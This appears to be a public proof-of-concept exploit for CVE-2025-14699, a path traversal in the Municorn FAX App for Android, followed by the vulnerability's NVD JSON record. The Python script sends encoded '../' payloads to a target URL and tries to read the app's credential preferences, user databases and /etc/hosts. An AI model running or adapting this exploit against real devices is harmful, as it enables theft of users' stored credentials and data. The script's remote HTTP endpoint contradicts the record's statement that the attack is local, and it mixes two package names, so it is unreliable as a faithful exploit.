CVE-2025-14699

#!/usr/bin/env python3 # CVE-2025-14699 PoC - Municorn FAX App Path Traversal # Target: Municorn FAX App 3.27.0 on Android # Vulnerability: Path Traversal in biz.faxapp.app component import requests import sys import urllib.parse def test_path_traversal(target_url, file_path): """Test for path traversal vulnerability""" # Encode path traversal sequence traversal = "../../../.." payload = traversal + file_path encoded_payload = urllib.parse.quote(payload) # Construct exploit URL exploit_url = f"{target_url}/biz.faxapp.app/file?path={encoded_payload}" print(f"[*] Testing path traversal...") print(f"[*] Target URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] Potential vulnerability detected!") print(f"[+] Response length: {len(response.content)} bytes") print(f"[+] Content preview:\n{response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-14699.py <target_url>") print("Example: python3 cve-2025-14699.py http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] # Test files commonly accessible via path traversal test_files = [ "/data/data/com.faxapp/shared_prefs/AuthPrefs.xml", "/data/data/com.faxapp/files/user_data.db", "/etc/hosts", "/data/data/com.faxapp/databases/app.db" ] print("=" * 60) print("CVE-2025-14699 PoC - Municorn FAX App Path Traversal") print("=" * 60) for file_path in test_files: print(f"\n[*] Testing: {file_path}") test_path_traversal(target, file_path) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-14699", "sourceIdentifier": "[email protected]", "published": "2025-12-15T03:15:45.060", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Municorn FAX App 3.27.0 on Android. This vulnerability affects unknown code of the component biz.faxapp.app. Such manipulation leads to path traversal. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/3", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.336417", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.336417", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.706215", "source": "[email protected]"}]}}